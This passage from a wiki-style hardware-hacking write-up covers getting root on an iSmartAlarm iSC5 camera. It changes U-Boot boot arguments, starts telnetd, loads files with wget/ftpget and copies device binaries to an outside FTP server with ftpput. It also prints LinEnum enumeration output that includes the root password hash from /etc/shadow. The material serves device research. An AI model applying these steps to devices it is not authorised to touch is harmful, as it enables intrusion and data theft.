&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
saveenv&lt;br /&gt;
boot&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;From this point on, it is possible to login to the root shell of the device using the acquired password. But I strongly suggest, to execute the following commands before working on the shell. The &amp;lt;code&amp;gt;/sbin/init&amp;lt;/code&amp;gt; script starts two instances of the &amp;lt;code&amp;gt;/root/etc_default/iSC3S/iSC3S&amp;lt;/code&amp;gt; executable, which prints to stdout by default, which is VERY annoying. If we kill the process, some watchdog triggers the device to automatically restart, instead we kill both instances and manually restart the executable in the background, and redirect its output to the nirvana. Note that if you login before the device has fully booted up, the PID may be different than in the code below.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;kill -KILL 601 606 &amp;amp;&amp;amp; exec /root/etc_default/iSC3S/iSC3S &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;WPA Client Configuration&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;At this point the the device is still in default factory settings and I am going to show how to manually add the device to the network, to do more fun stuff with it. Simply execute the following commands step by step or read the [https://linux.die.net/man/8/wpa_cli man pages].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Connect to WLAN&lt;br /&gt;
wpa_cli&lt;br /&gt;
scan&lt;br /&gt;
scan_results&lt;br /&gt;
add_network&lt;br /&gt;
set_network 0 ssid &amp;quot;$SSID&amp;quot;&lt;br /&gt;
set_network 0 psk &amp;quot;$PSK&amp;quot;&lt;br /&gt;
set_network 0 scan_ssid 1&lt;br /&gt;
enable_network 0&lt;br /&gt;
# save_config&lt;br /&gt;
select_network 0&lt;br /&gt;
quit&lt;br /&gt;
&lt;br /&gt;
# Test Satus&lt;br /&gt;
wpa_cli status&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Start Telnet Server&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The command set with this firmware is very extensive, providing many usefull commands and in addition a writable filesystem. Although the legitimacy of their existence is questionable, there is a telnet daemon among them, which is pretty use for us to get rid for the need of a serial connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Start the Telnet daemon&lt;br /&gt;
telnetd &amp;amp;&lt;br /&gt;
&lt;br /&gt;
# Analyst:&lt;br /&gt;
# Telnet client wont work for some reason...&lt;br /&gt;
telnet $ISC5_IP 23&lt;br /&gt;
# Netcat works fine&lt;br /&gt;
nc $ISC5_IP 23&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Available Command Set&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;[                  ftpget             mkfifo             start-stop-daemon&lt;br /&gt;
[[                 ftpput             mkfs.ext2          strings&lt;br /&gt;
addgroup           fwburnonly         mkfs.reiser        stty&lt;br /&gt;
adduser            fwcnew             mkfs.vfat          su&lt;br /&gt;
arping             gdbserver          mknod              sulogin&lt;br /&gt;
ash                getopt             mktemp             swapoff&lt;br /&gt;
basename           getty              modprobe           swapon&lt;br /&gt;
bcmdl              gfwver             more               sync&lt;br /&gt;
busybox            gpio3_blink        mount              syslogd&lt;br /&gt;
cat                gpio_init          mount.exfat        tail&lt;br /&gt;
chgrp              gpio_led           mount.exfat-fuse   tar&lt;br /&gt;
chmod              gpio_ms1           mt                 tee&lt;br /&gt;
chown              grep               mv                 telnet&lt;br /&gt;
chroot             groups             netstat            telnetd&lt;br /&gt;
clear              halt               nice               test&lt;br /&gt;
cp                 hd                 nslookup           test_UP/&lt;br /&gt;
crond              head               ntfs-3g            time&lt;br /&gt;
crontab            hexdump            ntpd               top&lt;br /&gt;
cut                hostid             nvram_get          touch&lt;br /&gt;
date               hostname           nvram_init         tr&lt;br /&gt;
dc                 hwclock            nvram_set          true&lt;br /&gt;
dd                 id                 nvram_utility      tty&lt;br /&gt;
delgroup           ifconfig           pars_diff          ubimkvol&lt;br /&gt;
deluser            ifdown             passwd             ubirmvol&lt;br /&gt;
depmod             ifup               pidof              ubirsvol&lt;br /&gt;
df                 inetd              ping               ubiupdatevol&lt;br /&gt;
dhcprelay          init               ping6              udhcpc&lt;br /&gt;
dhd                insmod             poweroff           udhcpd&lt;br /&gt;
dhd_helper         install            printenv           umount&lt;br /&gt;
diff               ipcs               printf             uname&lt;br /&gt;
dirname            iwconfig           ps                 uniq&lt;br /&gt;
dmesg              iwlist             pstree             uptime&lt;br /&gt;
dnsd               iwpriv             pwd                users&lt;br /&gt;
dnsdomainname      kill               pwdx               usleep&lt;br /&gt;
du                 killall            readFile           uudecode&lt;br /&gt;
dumpleases         klogd              reboot             uuencode&lt;br /&gt;
echo               ln                 rm                 vi&lt;br /&gt;
egrep              logger             rmdir              vlock&lt;br /&gt;
env                login              rmmod              wc&lt;br /&gt;
expr               logname            route              wget&lt;br /&gt;
false              losetup            run-parts          which&lt;br /&gt;
fdformat           ls                 sed                who&lt;br /&gt;
fdisk              lsblk              setserial          whoami&lt;br /&gt;
fgrep              lsmod              sh                 whois&lt;br /&gt;
find               lsof               sha1sum            wl&lt;br /&gt;
flash_erase        md5sum             sha3sum            wpa_cli&lt;br /&gt;
flash_eraseall     mdev               singleBoadTest/    wpa_supplicant&lt;br /&gt;
free               mkdir              sleep              xargs&lt;br /&gt;
fstrim             mkdosfs            snx_pwm_period     yes&lt;br /&gt;
fsync              mke2fs             sort&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Load Data&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;There are some ways to plant data into the device, including copy and pasting to the &amp;lt;code&amp;gt;vi&amp;lt;/code&amp;gt; terminal, using &amp;lt;code&amp;gt;[https://manned.org/ftpget/6964d88c ftpget]&amp;lt;/code&amp;gt; or via &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ftpget -v -u $FTPUSER -p $PASSWORD -P 21 $SERVER_IP $REMOTE_FILE&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Filesystem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# mount&lt;br /&gt;
rootfs on / type rootfs (rw)&lt;br /&gt;
/dev/root on / type cramfs (ro,relatime)&lt;br /&gt;
none on /proc type proc (rw,relatime)&lt;br /&gt;
none on /sys type sysfs (rw,relatime)&lt;br /&gt;
none on /proc/bus/usb type usbfs (rw,relatime)&lt;br /&gt;
dev on /dev type tmpfs (rw,relatime,size=512k,mode=755)&lt;br /&gt;
devpts on /dev/pts type devpts (rw,relatime,mode=600)&lt;br /&gt;
/dev/mtdblock4 on /etc type jffs2 (rw,relatime)&lt;br /&gt;
tmpfs on /tmp type tmpfs (rw,relatime,size=40228k)&lt;br /&gt;
lock on /var/lock type tmpfs (rw,relatime)&lt;br /&gt;
log on /var/log type tmpfs (rw,relatime)&lt;br /&gt;
run on /var/run type tmpfs (rw,relatime)&lt;br /&gt;
spool on /var/spool type tmpfs (rw,relatime)&lt;br /&gt;
tmp on /var/tmp type tmpfs (rw,relatime)&lt;br /&gt;
media on /media type tmpfs (rw,relatime)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extract Data&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Binaries and other files can be extracted using &amp;lt;code&amp;gt;ftpput&amp;lt;/code&amp;gt;. For this to work, one needs to control a reachable FTP server.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ftpput -u $FTPUSER -p $PASSWORD -P 21 $SERVER_IP /root/etc_default/iSC3S/iSC3S&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Information Gathering&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Usually the information gathering comes first, but I wanted to try the [https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh LinEnum.sh] script. With the previous setup, the script can easiliy be loaded via &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;. Unfortunately the results did not revealed much new nor interesting.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;LinEnum.sh&amp;lt;/code&amp;gt; results&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#########################################################&lt;br /&gt;
# Local Linux Enumeration &amp;amp; Privilege Escalation Script #&lt;br /&gt;
#########################################################&lt;br /&gt;
# www.rebootuser.com&lt;br /&gt;
# version 0.982&lt;br /&gt;
&lt;br /&gt;
[-] Debug Info&lt;br /&gt;
[+] Thorough tests = Enabled&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SYSTEM ##############################################&lt;br /&gt;
[-] Kernel information:&lt;br /&gt;
Linux iSmartAlarm 2.6.35.12 #4 Tue Feb 14 21:56:47 PST 2017 armv5tejl GNU/Linux&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Kernel information (continued):&lt;br /&gt;
Linux version 2.6.35.12 (fedora@localhost.localdomain) (gcc version 4.5.2 (SONiX GCC-4.5.2 Release 2011-12-06) ) #4 Tue Feb 14 21:56:47 PST 2017&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Hostname:&lt;br /&gt;
iSmartAlarm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### USER/GROUP ##########################################&lt;br /&gt;
[-] Current user/group info:&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),10(wheel)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Group memberships:&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),10(wheel)&lt;br /&gt;
uid=1(daemon) gid=1(daemon) groups=1(daemon)&lt;br /&gt;
uid=2(bin) gid=2(bin) groups=2(bin)&lt;br /&gt;
uid=3(sys) gid=3(sys) groups=3(sys)&lt;br /&gt;
uid=4(sync) gid=100(users) groups=100(users)&lt;br /&gt;
uid=8(mail) gid=8 groups=8&lt;br /&gt;
uid=13(proxy) gid=13 groups=13&lt;br /&gt;
uid=33(www-data) gid=33 groups=33&lt;br /&gt;
uid=34(backup) gid=34 groups=34&lt;br /&gt;
uid=37(operator) gid=37 groups=37&lt;br /&gt;
uid=103(sshd) gid=99(nobody) groups=99(nobody)&lt;br /&gt;
uid=99(nobody) gid=99(nobody) groups=99(nobody)&lt;br /&gt;
uid=1000(default) gid=1000(default) groups=1000(default)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Contents of /etc/passwd:&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:x:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:x:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:x:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default:x:1000:1000:Default non-root user:/home/default:/bin/sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] We can read the shadow file!&lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:10933:0:99999:7:::&lt;br /&gt;
bin:*:10933:0:99999:7:::&lt;br /&gt;
daemon:*:10933:0:99999:7:::&lt;br /&gt;
adm:*:10933:0:99999:7:::&lt;br /&gt;
lp:*:10933:0:99999:7:::&lt;br /&gt;
sync:*:10933:0:99999:7:::&lt;br /&gt;
shutdown:*:10933:0:99999:7:::&lt;br /&gt;
halt:*:10933:0:99999:7:::&lt;br /&gt;
uucp:*:10933:0:99999:7:::&lt;br /&gt;
operator:*:10933:0:99999:7:::&lt;br /&gt;
nobody:*:10933:0:99999:7:::&lt;br /&gt;
default::10933:0:99999:7:::&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] We can read root&#039;s home directory!&lt;br /&gt;
-rwxrwxrwx    1 root     root           0 Jan  1 00:00 .bash_history&lt;br /&gt;
-rwxrwxrwx    1 root     root         175 Jan  1 00:00 .bash_logout&lt;br /&gt;
-rwxrwxrwx    1 root     root         161 Jan  1 00:00 .bash_profile&lt;br /&gt;
-rwxrwxrwx    1 root     root        1.7K Jan  1 00:00 .bashrc&lt;br /&gt;
drwxrwxrwx    1 root     root         700 Jan  1 00:00 etc_default&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Home directory contents:&lt;br /&gt;
-rwxrwxrwx    1 root     root           0 Jan  1 00:00 .bash_history&lt;br /&gt;
-rwxrwxrwx    1 root     root         175 Jan  1 00:00 .bash_logout&lt;br /&gt;
-rwxrwxrwx    1 root     root         161 Jan  1 00:00 .bash_profile&lt;br /&gt;
-rwxrwxrwx    1 root     root        1.7K Jan  1 00:00 .bashrc&lt;br /&gt;
drwxrwxrwx    1 root     root         700 Jan  1 00:00 etc_default&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
./LinEnum_thorough.sh: line 1353: awk: not found&lt;br /&gt;
### ENVIRONMENTAL #######################################&lt;br /&gt;
[-] Environment information:&lt;br /&gt;
OPENSSL_armcap=5&lt;br /&gt;
USER=root&lt;br /&gt;
HOME=/root&lt;br /&gt;
OLDPWD=/root&lt;br /&gt;
LOGNAME=root&lt;br /&gt;
TERM=vt100&lt;br /&gt;
PATH=/sbin:/usr/sbin:/bin:/usr/bin&lt;br /&gt;
SHELL=/bin/sh&lt;br /&gt;
PWD=/tmp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Path information:&lt;br /&gt;
/sbin:/usr/sbin:/bin:/usr/bin&lt;br /&gt;
drwxr-xr-x    1 root     root          1412 Jan  1 00:00 /bin&lt;br /&gt;
drwxr-xr-x    1 root     root           736 Jan  1 00:00 /sbin&lt;br /&gt;
drwxrwxrwx    1 root     root          1332 Jan  1 00:00 /usr/bin&lt;br /&gt;
drwxrwxr-x    1 root     root           388 Jan  1 00:00 /usr/sbin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Current umask value:&lt;br /&gt;
u=rwx,g=rx,o=rx&lt;br /&gt;
0022&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### JOBS/TASKS ##########################################&lt;br /&gt;
### NETWORKING  ##########################################&lt;br /&gt;
[-] Network and IP info:&lt;br /&gt;
eth0      Link encap:Ethernet  HWaddr 00:B0:27:08:90:14&lt;br /&gt;
          BROADCAST MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:1000&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
          Interrupt:17&lt;br /&gt;
&lt;br /&gt;
gre0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1476  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1460  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
lo        Link encap:Local Loopback&lt;br /&gt;
          LOOPBACK  MTU:16436  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
sit0      Link encap:IPv6-in-IPv4&lt;br /&gt;
          NOARP  MTU:1480  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
tunl0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1480  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
wlan0     Link encap:Ethernet  HWaddr 00:4D:32:09:B7:2E&lt;br /&gt;
          inet addr:192.168.43.193  Bcast:192.168.43.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::e276:d0ff:fe3c:4958/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:453 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:332 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:1000&lt;br /&gt;
          RX bytes:137425 (134.2 KiB)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Nameserver(s):&lt;br /&gt;
nameserver $NAMESERVER&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Default route:&lt;br /&gt;
default         $ROUTER    0.0.0.0         UG    0      0        0 wlan0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Listening TCP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22306           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:22345           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:10002           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 :::23                   :::*                    LISTEN      788/telnetd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Listening UDP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
udp        0      0 0.0.0.0:10000           0.0.0.0:*                           663/iSC3S&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SERVICES #############################################&lt;br /&gt;
./LinEnum_thorough.sh: line 1353: awk: not found&lt;br /&gt;
[-] Contents of /etc/inetd.conf:&lt;br /&gt;
swat stream tcp nowait.400 root /usr/local/samba/bin/swat swat&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] /etc/init.d/ binary permissions:&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Jan  1 00:00 .&lt;br /&gt;
drwxr-xr-x   11 root     root             0 Jan  1 00:00 ..&lt;br /&gt;
-rwxr-xr-x    1 root     root           107 Jan  1 00:00 audmdprob.sh&lt;br /&gt;
-rwxr-xr-x    1 root     root           293 Jan  1 00:00 rc.local&lt;br /&gt;
-rwxr-xr-x    1 root     root          1383 Jan  1 00:00 rcS&lt;br /&gt;
-rwxr-xr-x    1 root     root          1426 Jan  1 00:00 rcS~&lt;br /&gt;
-rwxr-xr-x    1 root     root           115 Jan  1 00:00 videomdprob.sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SOFTWARE #############################################&lt;br /&gt;
### INTERESTING FILES ####################################&lt;br /&gt;
[-] Useful file locations:&lt;br /&gt;
/usr/bin/wget&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Can we read/write sensitive files:&lt;br /&gt;
-rw-r--r--    1 root     root           489 Jan  1 00:00 /etc/passwd&lt;br /&gt;
-rw-rw-r--    1 root     root           163 Jan  1 00:00 /etc/group&lt;br /&gt;
-rw-rw-r--    1 root     root            24 Jan  1 00:00 /etc/profile&lt;br /&gt;
-rw-rw-r--    1 root     root           355 Jan  1 00:00 /etc/shadow&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems&lt;br /&gt;
# /etc/fstab: static file system information.&lt;br /&gt;
#&lt;br /&gt;
# file system | mount pt |      type |  options |         dump | pass&lt;br /&gt;
/dev/root       /               cramfs  noauto            0      1&lt;br /&gt;
proc            /proc           proc    defaults          0      0&lt;br /&gt;
sysfs           /sys            sysfs   defaults          0      0&lt;br /&gt;
tmpfs           /tmp            tmpfs   size=100%         0      0&lt;br /&gt;
lock            /var/lock       tmpfs   defaults          0      0&lt;br /&gt;
log             /var/log        tmpfs   defaults          0      0&lt;br /&gt;
run             /var/run        tmpfs   defaults          0      0&lt;br /&gt;
spool           /var/spool      tmpfs   defaults          0      0&lt;br /&gt;
tmp             /var/tmp        tmpfs   defaults          0      0&lt;br /&gt;
media           /media          tmpfs   defaults          0      0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.conf files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.php files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.log files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.ini files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Current user&#039;s history files:&lt;br /&gt;
-rwxrwxrwx    1 root     root             0 Jan  1 00:00 /root/.bash_history&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] Root&#039;s history files are accessible!&lt;br /&gt;
-rwxrwxrwx    1 root     root             0 Jan  1 00:00 /root/.bash_history&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SCAN COMPLETE ####################################&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: There is no official download available.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Third-Party-Firmware&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The original firmware of the iSC5 camera can be replaced with third-party firmware such as [https://github.com/GrumpyMeow/XiaomiXiaofangFirmware XiaomiXiaofangFirmware].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extraction&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Developer notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cloud init ok okok okok okok okok ok&lt;br /&gt;
&lt;br /&gt;
hello Guozhixin OKOKOKOKOKOKOKOKOK&lt;br /&gt;
&lt;br /&gt;
INIT App INFO XXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
uuuuuuuuuuuuuuuuuuuuu000&lt;br /&gt;
&lt;br /&gt;
/usr/bin/test_UP # ./test_UP&lt;br /&gt;
sonix test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&lt;br /&gt;
Guozhixin USB down !!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;iSmartAlarm&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
